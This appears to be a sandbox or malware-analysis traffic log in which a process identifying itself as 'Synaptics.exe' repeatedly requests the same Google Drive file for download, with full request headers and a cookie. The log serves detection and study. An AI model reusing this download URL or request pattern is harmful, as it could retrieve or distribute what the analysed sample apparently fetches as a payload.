Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
